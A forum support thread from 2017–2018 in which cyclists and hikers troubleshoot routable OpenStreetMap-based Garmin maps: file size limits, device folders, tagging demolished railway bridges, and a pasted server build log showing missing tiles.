- Re: Worldwide routable Garmin maps: URL REMOVED · Derby45 (Gast) · 19.12.2017 12:05 · [flux]
Many thanks for sorting out the file updates!
There is a proposed route in my area. To my suprise my Garmin tried to route me along a proposed route. I mapped this route with just a line and no use of the highway tag. This also happens in BaseCamp. It shows as a normal route, and is fully routable.
The route on the lower part of these iamges:
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 19.12.2017 12:26 · [flux]
Hi Derby45,
it would help to know the id of the way you are talking about.
Gerd
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- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.12.2017 15:08 · [flux]
I guess you have downloaded an older map, from what date is that OFM version?
Please have a look at the latest map, those routes are removed from the database and dont exist there anymore:
http://mijndev.openstreetmap.nl/~ligfie … FFFFFFFFFFSo I guess you should download the latest or wait for the next release?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.12.2017 15:52 · [flux]
BTW please do not map proposed routes with tags on highways but as relations
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 15.01.2018 10:37 · [flux]
Hi,
was there anything changed with respect to the data format in the last six months?
A new gmapsupp is not recognized at all by my quite old Nüvi 1255. I tried several different files (new / old style, custom) and all are not seen by the device. The file I downloaded a while ago worked without any problem. It's not a problem of file size either. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.01.2018 13:23 · [flux]
Not that I know. My very old Nüvi 310 can still read those maps. Did you try another SD card?
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 15.01.2018 14:52 · [flux]
Yes, I tried two cards. Unfortunately I deleted the old map, so I can't try to load the old one again.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.01.2018 16:57 · [flux]
You can check your device with javawa devicemanager. If that doesn't help maybe a hard factory reset?
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 15.01.2018 20:43 · [flux]
Thanks for pointing me to this nice tool - it didn't show any errors. Don't ask me what happened, but now it works again... Thanks for help!
- Re: Worldwide routable Garmin maps: URL REMOVED · dukeofessex (Gast) · 29.01.2018 20:53 · [flux]
Hi, Hoping someone can help.
I have used this software extensively via the link on DCRainmakers review site to create cycling base maps for my Garmin 520 edge. About a week ago I started planning a couple of trips I'm making in the summer. After mapping several routes on Strava I came to this site to create the basemaps I need, only to find the world map not displaying correctly. All the tiles are there and can be selected but the map itself its just pink with an several error symbols. I could probably work out the tiles I need but it would pretty tedious and haven't tried to create a simple map to see if the created file would still work, but I have a feeling my issue is just the world map tile display.
I've taken a screen grab but haven't a clue how to upload it to show the problem I have. I thought it may be an issue with the site but seeing how no one else has mentioned it I realise it might be caused by an issue my end.
Any advice would be very gratefully received
Jerome
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.01.2018 14:38 · [flux]
I'm not sure what your issue is so please upload an image. This forum doesn't support uploading images so you have to upload them elsewhere, try https://postimages.org/
- Re: Worldwide routable Garmin maps: URL REMOVED · dukeofessex (Gast) · 30.01.2018 19:45 · [flux]
Hi. Thanks for the quick reply. Not particularly I.T. savvy I'm afraid. I've used the postimages site and the following is the link it has generated. I tried it by emailing to myself and it seems to work
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 31.01.2018 01:44 · [flux]
Looks as if the background image has not loaded.
Did you try to refresh the browser...
Just hit the control (Ctrl) and F5 button at the same time (Windows). Or, if you are using a Mac - Apple + R or Cmd + R. - Re: Worldwide routable Garmin maps: URL REMOVED · dukeofessex (Gast) · 31.01.2018 09:49 · [flux]
I have tried reloading and refreshing the page several times, although not using the ctrl f5 method if that would make a difference?
Just got to work and tried the site on a works tablet and all seems fine so must be an issue with my laptop. Perhaps a recent Windows update has messed with a setting as I've used this same pc to create a lot of base maps - Re: Worldwide routable Garmin maps: URL REMOVED · Myrkskog (Gast) · 07.03.2018 11:01 · [flux]
Hi, is there a way to download the whole planet in one file? We are going on world trip and our route isn't fix.
- Re: Worldwide routable Garmin maps: URL REMOVED · Funkingbaxter (Gast) · 07.03.2018 14:25 · [flux]
I have previously downloaded a single map for Western Europe, but can't find it now. Is this option still available, or do I need a separate gmapsupp.img file for every country?
I tried to create one by selecting UK and then adding FR/ES/BE/NL, but the file was too big...
(Apologies if this has been asked & answered previously - I looked but couldn't find it)
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 07.03.2018 17:09 · [flux]
Myrkskog wrote:
Hi, is there a way to download the whole planet in one file? We are going on world trip and our route isn't fix.
You may be able to download it but AFAIK a gmapsupp.img must not be larger than 8GB, so even a well mapped continent might be too much.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 08.03.2018 13:25 · [flux]
I think limit for img is 4GB. Img structure allows for bigger files, bit I don't know any device which supports sector size greater than 64kB.
Bigger maps should be divided into multiple parts. - Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 08.03.2018 14:03 · [flux]
FAT16/FAT32 doesn’t allow files bigger than 4 GB and Garmin devices don’t support other file systems.
- Re: Worldwide routable Garmin maps: URL REMOVED · Funkingbaxter (Gast) · 08.03.2018 15:08 · [flux]
Funkingbaxter wrote:
I have previously downloaded a single map for Western Europe, but can't find it now. Is this option still available, or do I need a separate gmapsupp.img file for every country?
I tried to create one by selecting UK and then adding FR/ES/BE/NL, but the file was too big...
(Apologies if this has been asked & answered previously - I looked but couldn't find it)
Anyone...??
- Re: Worldwide routable Garmin maps: URL REMOVED · Martin Borsje (Gast) · 08.03.2018 15:12 · [flux]
Have you tried http://www.openfietsmap.nl/downloads/europe
- Re: Worldwide routable Garmin maps: URL REMOVED · Funkingbaxter (Gast) · 08.03.2018 15:44 · [flux]
I hadn't seen that, thanks.
Do you know whether, if I put 2 or 3 of these on a Garmin 810 (with different names for each), the device will automatically switch between the different map files?
Or will I have to switch between each one manually depending on where I'm riding?
- Re: Worldwide routable Garmin maps: URL REMOVED · Martin Borsje (Gast) · 08.03.2018 15:58 · [flux]
You can put multiple maps on the SD card.
You have to select the right map manually, depending where you are. Do not select multiple maps covering the same (overlapping boundaries) area at the same time, as routing might not work or even worse things happening.
- Re: Worldwide routable Garmin maps: URL REMOVED · Funkingbaxter (Gast) · 08.03.2018 16:09 · [flux]
OK, so I couldn't have a map for the whole Pyrenees on the card if I already have one for France?
Or do you mean I could have both, but can only select one of them at a time...?
- Re: Worldwide routable Garmin maps: URL REMOVED · Martin Borsje (Gast) · 08.03.2018 16:17 · [flux]
Typically country/region maps overlap at their boundaries and it could well be that the whole Pyrenees are covered by the France map. So in that case you don't have to switch to the Spanish (or Andorrans 🙂) map in case you get into Spain or Andorra. But you have to find that out yourself.
You can have both or more on the SD card but only select (activate) once at the same time if there is a chance of overlap.(You could select Norway and Spain at the same time without any risk - if you want)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.03.2018 10:32 · [flux]
Funkingbaxter wrote:
I hadn't seen that, thanks.
Do you know whether, if I put 2 or 3 of these on a Garmin 810 (with different names for each), the device will automatically switch between the different map files?
Or will I have to switch between each one manually depending on where I'm riding?
If you are talking about the Openfietsmap Europe, they are seamlessly connected to each other. Just rename the gmapsupp.img parts to a different name.img and put them in the same garmin folder and then you can see one big map. If you are talking about the maps from garmin.openstreetmap.nl you need to use Javawa device manager (to rename the maps stored on your device) or javawa GMTK (to maintain/rename the maps stored on your computer).
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 09.03.2018 11:28 · [flux]
Funkingbaxter wrote:
Do you know whether, if I put 2 or 3 of these on a Garmin 810 (with different names for each), the device will automatically switch between the different map files?
Yes, it should work correctly. You can enable all maps in GPS and all will be used and displayed simultaneously.
These are parts of a single map, so routing between parts should work correctly, since boundary nodes of a tiles match precisely. Tiles, which are duplicated in multiple maps will be ignored by GPS. There could be some glitches with address search on areas, which are covered by multiple maps. GPS can search for address on wrong part.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 30.03.2018 00:33 · [flux]
I am a little bit torn about what is wrong here.
I am talking about an old rail line that has been abandoned and eventhough the ground structure is still there the bridge is not.
All online iterations at osm.org do not render the bridge which is correct according to the wiki, the map rendered for the garmin does show the bridge. Which is a bit problematic for navigation.This is the link to the specific feature,
https://www.openstreetmap.org/way/230281927Should I remove the feature from the data or should it not be rendered?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.03.2018 22:24 · [flux]
If the bridge is still there, garmin will render it but will not route because there is no way (or is there a path?)
If there is no bridge at all this way (or at least the tag bridge=yes) should be removed of course. Maybe is railway=historic a better tag? - Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 31.03.2018 23:23 · [flux]
Let me reiterate,
Het dijklichaam is er nog (I called it the ground structure) het brugdeel is weg.
sorry for the language switch, my civil engineering lingo is somewhat lacking.
So it is very visible there was a bridge once but you cannot cross the water there without jumping far or getting wet feet.The line itself is tagged this way:
Tags
bridge yes
historic:end_date 1958
historic:operator Maryland and Pennsylvania Railroad
historic:start_date 1901
railway abandoned
tiger:cfcc B11
tiger:county Baltimore, MD:Harford, MD
tiger:name_base Maryland and Pennsylvania RRso bridge and abandoned are the key tags. This makes it so openstreetmap online does not render the bridge, the as behavior described in the wiki.
On the garmin both the line and the bridge are rendered, dunno about routing for I usually don't walk with routing on and I'd rather not be routed on a non abandoned rail line anyway 😉
If an abandoned rail line was converted to a pathway/ trail i'd imagine it needs to be tagged differently anyway. - Re: Worldwide routable Garmin maps: URL REMOVED · BCNorwich (Gast) · 01.04.2018 07:40 · [flux]
Hi, change the bridge=yes tag to demolished:bridge=yes, that should remove the bridge from any routeing.
The railway is already tagged abandoned, (demolished could be a better description of the bridge section) so in the absence of any access tag (i.e. foot=yes) will not be routed.Bernard
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.04.2018 09:28 · [flux]
I would recommend to remove bridge=yes because there is no part crossing that stream, demolished:bridge=yes sounds good.
And replace railway=abandoned with railway=dismantled of that part crossing that stream, see https://wiki.openstreetmap.org/wiki/Demolished_Railway
This way, Garmin will not render the bridge nor railway (but we are not rendering for the renderer, dont we? 😉) - Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 03.04.2018 13:08 · [flux]
Yep I do not want to tag for the renderer 😉
Hence my questions and doubts.
I tagged it demolished:bridge=yes and dismantled. I will try in a couple of days to render a small map of that area to see the changes.
This rail thing is rather convoluted to be honest.
I'd say some better definitions are in dire need. There are too many ppl to vested in historical rail lines and I do think that rail lines have impacted surroundings more profoundly then for instance roads. So there is a need to have this info still in the openstreetmap database.
I'd really say look at what's there and what words mean. But the discussion seems to be more about feelings 😉
disused means to me not used or planned to be used in the foreseeable future. This also means no maintenance plans for that line. ownership of the land preferable still in the hands of an entity that is or has operated rail transport or maybe the state/country
abandoned, ownership is not in the hand of an entity that is or has operated rail transport. There needs to be some sort of rail identifying marks left, for instance at least ! every kilometer a railroad tie, rails, train signals,etc. Also specific rail support buildings, loading docks, stations, etc. You should be able to use this for navigation.
dismantled, most identifying marks have been removed. for instance an embankment can be used for other things so that would not be an identifying mark. And the identifying marks are few and far apart, more then 2 km for instance. Barely to not usable for navigation.
historic, almost impossible to see that there was a rail line in the past, not usable for navigation.
Something like this would make it also easier for renderers to decide what to render and what not.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.04.2018 14:33 · [flux]
I Agree, but this discussion should be held in other topics. To be on-topic, abandoned railways are only rendered in the generic map (default mkgmap style) as path:
railway=abandoned␣[0x0a␣road_class=0␣road_speed=1␣resolution␣22]
The generic new style does not even render those lines, unless it is accompanied by highway=* (for instance when such line is converted into a cycleway or footway). Both maps do not render dismantled or historic.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 04.04.2018 14:00 · [flux]
My mistake if we are not talking about the same thing here.
The lines and bridge were rendered in openfietsmap lite, if it is the wrong place to discuss this here I am sorry.
I hope I mentioned that somewhere before, .... I did not.... ;( I just said the garmin map renders the line.
If they would have not been rendered I would have not been here 😉 Although over the years I have popped up in this topic just because I was curious if something new was happening.I am happy to hear generic new style does not render them for I use those maps for driving 😉 . Personally I would say that also the generic style should not render the abandoned lines, but I am not affected by that and let the designers of the style make the decision.
[edit] oeps, Now I fell into my own trap ..... abandoned was still usable for navigation in my definition..... 🙄 😠 🤣 🤣
once again tricky business defining what to include and what not [/edit]And just to make sure I am understood correctly.
I love what you guys have done and are still doing, I am just trying to do my little part
Not being able to adjust a map if you spot something wrong or question about a place is not something I enjoy.
So openstreetmaps with a garmin or an android with osmand is a really nice thing to have for the last 8 years now. Especially since I bought my oregon 300 and euro citynav map in 2007.
The drive was interesting in central america in 2009 with the garmin openstreetmaps. And the current level of detail is just amazing.if I think something could be improved upon I mention it and sometimes it means I did not understand something correctly. I did start my post stating that I am not sure if this was a rendering or data issue.
And I did edit the data to reflect a "correcter" world view in the OSM data. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.04.2018 14:30 · [flux]
Here you can find the OFM style
Abandoned railways are rendered (not routable though) as well as bridge=* (only if it is accompanied by a highway=* or railway=* tag).
So, in the new situation with demolished:bridge=yes and railway=dismantled it will not be visible anymore. - Re: Worldwide routable Garmin maps: URL REMOVED · CraigCnx (Gast) · 30.04.2018 12:01 · [flux]
Greetings. A big thank-you for these maps, I've been using them successfully for years.
I would like to create a single Garmin img map made from tiles along a single 4000km route (for a race). I presume this is possible using all the tools in the OSM toolchain. I am worried that trying to do it myself would be too difficult and I would find out mid-race that I had done something wrong.
My question: is it possible to replicate the exact script used by garmin.openstreetmap.nl (same software versions, same command line options, same style files, etc.) while just changing the input tiles or "input polygon" or whatever the correct input format is?
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.05.2018 07:01 · [flux]
I see no need to create the tiles on your own. When you enable "manual tile selecion" you can chose the tiles along your route and they are
combined to one map for you.Gerd
- Re: Worldwide routable Garmin maps: URL REMOVED · CraigCnx (Gast) · 01.05.2018 07:15 · [flux]
Well, I was hoping to squeeze the map onto my Edge 520 which only has about 50Mb available for maps. The only way to do this would be to make the tiles along the route only a few square kms each. The default tiles offered by garmin.openstreetmap.nl are far too big.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.05.2018 09:47 · [flux]
CraigCnx wrote:
Well, I was hoping to squeeze the map onto my Edge 520 which only has about 50Mb available for maps. The only way to do this would be to make the tiles along the route only a few square kms each. The default tiles offered by garmin.openstreetmap.nl are far too big.
In that case you'll have to generate your own map with http://www.mkgmap.org.uk/
It has a steep learning curve but it is possible to do this (well, 50 mb for 4000 km long route...I doubt if it will fit).Maybe you can check out these maps, compiled for the Garmin Fenix watches, they are much smaller:
http://www.gmaptool.eu/en/content/maps-garmin-fenix - Re: Worldwide routable Garmin maps: URL REMOVED · CraigCnx (Gast) · 01.05.2018 16:34 · [flux]
ligfietser wrote:
In that case you'll have to generate your own map with http://www.mkgmap.org.uk/
Ok, I will try.
ligfietser wrote:
It has a steep learning curve but it is possible to do
This is why I asked if I could copy the method used by garmin.openstreetmap.nl, so I didn't have to learn it all myself.
ligfietser wrote:
well, 50 mb for 4000 km long route...I doubt if it will fit
Yes, one probably will not. But maybe I can make two or three maps that I can swap in/out, rather than 10 or 20.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.05.2018 17:15 · [flux]
I think this map service is exactly what you are looking for:
https://extract.bbbike.org/extract.htmlYou can draw a custom polygon and request a Garmin map for that area:
- Re: Worldwide routable Garmin maps: URL REMOVED · EverRed (Gast) · 23.05.2018 22:02 · [flux]
I hope I'm posting in the correct place. I've searched around the site and haven't found my answer.
I have downloaded a file called openfietsmap_lite_gmappsupp.zip. When I try to unzip it, it creates a file called openfietsmap_lite_gmappsupp.zip.cpgz. If I attempt to unzip that file it creates a copy of openfietsmap_lite_gmappsupp.zip.
I'm on an up to date Macbook Pro
What am I doing wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 24.05.2018 00:18 · [flux]
That’s a quirky thing to happen and I found this explanation.
http://osxdaily.com/2013/02/13/open-zip-cpgz-file/ - Re: Worldwide routable Garmin maps: URL REMOVED · EverRed (Gast) · 24.05.2018 19:25 · [flux]
nevw - thank you. I downloaded using a different browser and was successful (Safari worked, Firefox did not).
I now have the map on my Edge Touring and it shows up as "Enabled" but the map does not display.
Any ideas?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.05.2018 19:31 · [flux]
Make sure no other maps are enabled except for the basemap.
And you can check for errors with Javawa Device Manager. - Re: Worldwide routable Garmin maps: URL REMOVED · EverRed (Gast) · 24.05.2018 20:02 · [flux]
Thanks ligfietser.
I did disable the other map that is on there. At present the Basemap is enabled and the freshly downloaded map is enabled.
- Re: Worldwide routable Garmin maps: URL REMOVED · EverRed (Gast) · 24.05.2018 21:09 · [flux]
I've run it through JaVaWa. It does not show any problems but when I go to "Manage Maps" the maps are displayed but if I click on one a message is displayed "Out of Bounds Exception".
I have also called Garmin support but they will not help me because the OSM map was not purchased from Garmin.
I'm about to leave on my trip. If anyone can help, please do.
- Re: Worldwide routable Garmin maps: URL REMOVED · EverRed (Gast) · 24.05.2018 21:26 · [flux]
Now I can see the UK map. I disabled basemap, then enabled basemap, disabled my UK map, enabled my UK map. It would seem I didn't do anything other than flip disable/enamble switches but it did the trick.
- Re: Worldwide routable Garmin maps: URL REMOVED · schneibva (Gast) · 31.05.2018 10:32 · [flux]
garmin.openstreetmap.nl sends no email when requesting my own map
After creating my own map with http://garmin.openstreetmap.nl I get a new window with the message, that I will receive 2 mails with the links to the status an the download adress of the map. But now I did not receive any email, like in former times. Of course my account is correct and ready to receive emails.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 31.05.2018 13:48 · [flux]
I just tried it and got both emails as usual. Did you check the junk mail folder?
- Re: Worldwide routable Garmin maps: URL REMOVED · schneibva (Gast) · 31.05.2018 14:45 · [flux]
GerdP wrote:
Did you check the junk mail folder?
Yes, of course. I'm not a beginner. I get my maps in this way since some years.
I tried it yesterday in the evening, today in the early morning and some minutes ago, I tried 2 browsers Firefox and Chromium (both on Ubuntu), and I tried 2 different emails on different domains. Just like all the times before. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.06.2018 07:43 · [flux]
Please send an email to owner of that site, Lambertus at osm @ na1400 dot info
Maybe he can solve this problem. - Re: Worldwide routable Garmin maps: URL REMOVED · Anorway (Gast) · 08.06.2018 09:21 · [flux]
Hiya, I successfully downloaded and unzipped a gmapsupp image to a folder named "Garmin" on the micro-SD card of my Garmin Drive, hoping to use it for some overseas travel (starting tomorrow!), but when I try to change maps on the device, the new map doesn't seem to be listed and the device still only has detailed data for my home region.
Am I missing a step or is the gmapsupp image not compatible with Garmin Drive?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.06.2018 12:45 · [flux]
One some garmin devices this folder is named Map instead of Garmin?
- Re: Worldwide routable Garmin maps: URL REMOVED · Menno Slaats (Gast) · 14.07.2018 18:37 · [flux]
It looks like the queue of garmin.openstreetmap.nl is broken:
"osm.pleiades.uni-wuppertal.de/garmin/, queue = 1110 requests (~4.6 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/, queue = 2 requests (~0 days), status = OK
sn21.pleiades.uni-wuppertal.de/garmin/, queue = 1 requests (~0 days), status = OK"Or is the load balancing between the map download requests broken?
I've also noticed it's not possible to download immediately maps from Belgium, The Netherlands and Germany. They all are queued.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.07.2018 13:26 · [flux]
Looks like something is broken. The only one who can fix this is Lambertus but he has not been on this forum for years, so better drop him an email.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nadiad (Gast) · 22.07.2018 19:01 · [flux]
hi
i m trying to download Canada map but when i Choose a predefined country ans select Canada from drop down box
no tile is selected and i didn't get any mapplease help me how to download for Canada
thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 22.07.2018 19:46 · [flux]
You can enable manual selection, that still seems to work.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.07.2018 08:54 · [flux]
Nadiad wrote:
hi
i m trying to download Canada map but when i Choose a predefined country ans select Canada from drop down box
no tile is selected and i didn't get any mapplease help me how to download for Canada
thanks
You cannot select Canada because it is too big to generate as single img file. You can only select one of the provinces or select the tiles manually.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nadiad (Gast) · 25.07.2018 17:02 · [flux]
Thanks
GerdP wrote:
You can enable manual selection, that still seems to work.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nadiad (Gast) · 26.07.2018 17:35 · [flux]
ligfietser wrote:
Nadiad wrote:
hi
i m trying to download Canada map but when i Choose a predefined country ans select Canada from drop down box
no tile is selected and i didn't get any mapplease help me how to download for Canada
thanks
You cannot select Canada because it is too big to generate as single img file. You can only select one of the provinces or select the tiles manually.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Jamppe (Gast) · 02.08.2018 11:37 · [flux]
Hi,
Some weeks ago I downloaded "Generic Routable" and "Generic Routable(new style) maps covering Finland area for my Edge 810. Downloading and "installing" was all ok but only old style map was shown on my devices screen. I was able to select new style map on my device but it only showed white screen on my area? When I scaled screen much further it showed some tiles on Finland but only some. Older New style map version from 2017 is working fine. What could be wrong? Is it about the new style map version itself or about the device? Hard to believe it could be about the device because older version is working just fine. Thanks in advance.
- Re: Worldwide routable Garmin maps: URL REMOVED · opasto (Gast) · 02.08.2018 14:29 · [flux]
Jamppe wrote:
Hi, What could be wrong?
Probably its the problem, that all the downloaded maps have the same FID (File Identifikation). Use gmaptool to change the FID of some maps so every map has a distinct FID
- Re: Worldwide routable Garmin maps: URL REMOVED · Jamppe (Gast) · 02.08.2018 16:59 · [flux]
opasto wrote:
Jamppe wrote:
Hi, What could be wrong?
Probably its the problem, that all the downloaded maps have the same FID (File Identifikation). Use gmaptool to change the FID of some maps so every map has a distinct FID
Thanks for your quick answer. Do you mean by maps the old and new version or tiles included in the new version?
Anyhow I downloaded newest version of "new style" map and its working again. Two or three previous version didnt work.
- Re: Worldwide routable Garmin maps: URL REMOVED · Bakebeen (Gast) · 10.08.2018 10:32 · [flux]
I noticed that every two weeks or so the map shows a new date maybe an up date.
What I would like to know is it really updated? so often?, maybe for places in Europe you up date them every six months or once a year?
Great site btw.
- Re: Worldwide routable Garmin maps: URL REMOVED · alester (Gast) · 10.08.2018 16:50 · [flux]
Bakebeen wrote:
I noticed that every two weeks or so the map shows a new date maybe an up date.
What I would like to know is it really updated? so often?, maybe for places in Europe you up date them every six months or once a year?
Great site btw.
No tricks. If the date says August 6th (like it does as of this post), then any map data you download will be based on OSM data from August 6th.
Especially in Europe where there are a significant number of contributors constantly making lots of changes, updating once or twice a year would be far too slow.
- Re: Worldwide routable Garmin maps: URL REMOVED · Billcoke (Gast) · 11.08.2018 03:20 · [flux]
I've downloaded openstreet map for Germany and Switzerland, but I've trouble searching for hotels. When I search for the word "Hotel", it only show one hotel, Hotelkam. I tried to search for Munich Airport but it is not in the list. Please help. My GPS is Nuvi 57LM.
How does the search function work for Openstreetmap?
- Re: Worldwide routable Garmin maps: URL REMOVED · Bakebeen (Gast) · 11.08.2018 07:15 · [flux]
alester wrote:
Bakebeen wrote:
I noticed that every two weeks or so the map shows a new date maybe an up date.
What I would like to know is it really updated? so often?, maybe for places in Europe you up date them every six months or once a year?
Great site btw.
No tricks. If the date says August 6th (like it does as of this post), then any map data you download will be based on OSM data from August 6th.
Especially in Europe where there are a significant number of contributors constantly making lots of changes, updating once or twice a year would be far too slow.
Thanks for that info, even more proof that this is a great site., I was also pleased that the maps where much better than Garmin's own maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Bernard BaSHful (Gast) · 20.09.2018 09:51 · [flux]
There seems to be a problem with the Luxembourg map. I downloaded and installed the gmapsupp.img file on to my Garmin Oregon. Only part of the map displays. I think it might be just the top, left tile. I tried a second time but manually selecting the tiles and a couple extra adjoining tiles from Germany and France. I got exactly the same result.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.09.2018 16:51 · [flux]
Bernard BaSHful wrote:
There seems to be a problem with the Luxembourg map. I downloaded and installed the gmapsupp.img file on to my Garmin Oregon. Only part of the map displays. I think it might be just the top, left tile. I tried a second time but manually selecting the tiles and a couple extra adjoining tiles from Germany and France. I got exactly the same result.
I don't see any issue with that map. Please check if you have installed other OSM maps on your device, they can cause this issue.
- Re: Worldwide routable Garmin maps: URL REMOVED · Bernard BaSHful (Gast) · 21.09.2018 18:39 · [flux]
Yes, I had 10 other map files on the card. I deleted all the ones I no longer need and tried again. Now working perfectly. Many thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · FlyingMG (Gast) · 26.09.2018 13:47 · [flux]
Any problem with the server? I tried already twice to generate maps, but the server is thowing error in the buildlog.txt.
Cheers, Marc
Buildlog.txt:
Getting␣14␣tiles Tile␣63242922.img␣not␣found Tile␣63242923.img␣not␣found Tile␣63242924.img␣not␣found Tile␣63242933.img␣not␣found Tile␣63242934.img␣not␣found Tile␣63242935.img␣not␣found Tile␣63242940.img␣not␣found Creating␣the␣license␣file Getting␣the␣TYP␣file /home/lambertus/garmin/utils/mkgmap-style-sheets/typ/Openfietsmap␣lite/20011.typ␣to␣./20011.typ Building␣gmapsupp Time␣started:␣Wed␣Sep␣26␣14:18:15␣CEST␣2018 SCHWERWIEGEND␣(Main):␣63*.img:␣file␣63*.img␣doesn't␣exist Number␣of␣MapFailedExceptions:␣0 Exiting␣-␣if␣you␣want␣to␣carry␣on␣regardless,␣use␣the␣--keep-going␣option Number␣of␣ExitExceptions:␣1 Time␣finished:␣Wed␣Sep␣26␣14:18:15␣CEST␣2018 Total␣time␣taken:␣536ms Zipping␣gmapsupp Gmapsupp␣does␣not␣exist! Zipping␣the␣tiles␣(linux) Building␣NSIS␣installer MakeNSIS␣v2.50-1␣-␣Copyright␣1995-2015␣Contributors See␣the␣file␣COPYING␣for␣license␣details. Credits␣can␣be␣found␣in␣the␣Users␣Manual.
Processing␣plugin␣dlls:␣"/usr/share/nsis/Plugins/*.dll" -␣AdvSplash::show -␣Banner::destroy -␣Banner::getWindow -␣Banner::show -␣BgImage::AddImage -␣BgImage::AddText -␣BgImage::Clear -␣BgImage::Destroy -␣BgImage::Redraw -␣BgImage::SetBg -␣BgImage::SetReturn -␣BgImage::Sound -␣Dialer::AttemptConnect -␣Dialer::AutodialHangup -␣Dialer::AutodialOnline -␣Dialer::AutodialUnattended -␣Dialer::GetConnectedState -␣InstallOptions::dialog -␣InstallOptions::initDialog -␣InstallOptions::show -␣LangDLL::LangDialog -␣Math::Script -␣NSISdl::download -␣NSISdl::download_quiet -␣Splash::show -␣StartMenu::Init -␣StartMenu::Select -␣StartMenu::Show -␣System::Alloc -␣System::Call -␣System::Copy -␣System::Free -␣System::Get -␣System::Int64Op -␣System::Store -␣TypeLib::GetLibVersion -␣TypeLib::Register -␣TypeLib::UnRegister -␣UserInfo::GetAccountType -␣UserInfo::GetName -␣UserInfo::GetOriginalAccountType -␣VPatch::GetFileCRC32 -␣VPatch::GetFileMD5 -␣VPatch::vpatchfile -␣nsDialogs::Create -␣nsDialogs::CreateControl -␣nsDialogs::CreateItem -␣nsDialogs::CreateTimer -␣nsDialogs::GetUserData -␣nsDialogs::KillTimer -␣nsDialogs::OnBack -␣nsDialogs::OnChange -␣nsDialogs::OnClick -␣nsDialogs::OnNotify -␣nsDialogs::SelectFileDialog -␣nsDialogs::SelectFolderDialog -␣nsDialogs::SetRTL -␣nsDialogs::SetUserData -␣nsDialogs::Show -␣nsExec::Exec -␣nsExec::ExecToLog -␣nsExec::ExecToStack
Can't␣open␣script␣"63440000.nsi" Building␣Basecamp/RoadTrip␣installer JaVaWa␣MapConverter␣CLI␣version␣0.6
Error:␣basemap␣doesn't␣exist
Usage: jmc_cli␣-src=source_folder␣-dest=destination_folder␣[-bmap=basemap.img]␣[-gmap=mapname.gmap]␣[-v]
Parameters: -src␣␣␣Path␣to␣folder␣with␣map␣files␣you␣want␣to␣convert -dest␣␣Path␣to␣folder␣where␣the␣.gmap␣folder␣will␣be␣created -bmap␣␣Name␣of␣.img␣file␣with␣overview␣map␣(optional) (Needed␣only␣when␣jmc_cli␣cannot␣decide␣which␣file␣to␣use) -gmap␣␣Name␣of␣.gmap␣folder␣(optional;␣when␣omitted␣the␣map␣name␣will␣be␣used) -v␣␣␣␣␣Verbose␣output:␣display␣every␣step␣in␣the␣process␣(optional)
Use␣quotes␣around␣paths␣when␣they␣contain␣spaces, or␣escape␣the␣spaces␣with␣backslashes.
Status␣codes: 0:␣success 1:␣wrong␣parameters 2:␣missing␣files 3:␣error␣in␣processing␣files 4:␣unhandled␣exception
Zipping␣Basecamp/RoadTrip␣installer Miscellaneous␣stuff Linking␣map␣storage␣to␣webdir:␣/maps/1/garmin/openfietsmap_lite/11-09-2018/1f84e281254915f5120648867ad3cff9␣->␣/var/www/garmin/openfietsmap_lite/11-09-2018/1f84e281254915f5120648867ad3cff9
- Re: Worldwide routable Garmin maps: URL REMOVED · Hotbelgo (Gast) · 29.09.2018 14:18 · [flux]
Are there any instruction on how to install on mac?
I downloaded this version: "The osm_generic_macosx.zip is the map installer for BaseCamp on the Mac OSX platform"
That's a directory of files but not one of them seems to be an 'installer', so I'm not sure what to do next. I'm happy to edit the wiki instructions if I can get some help here
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.09.2018 14:43 · [flux]
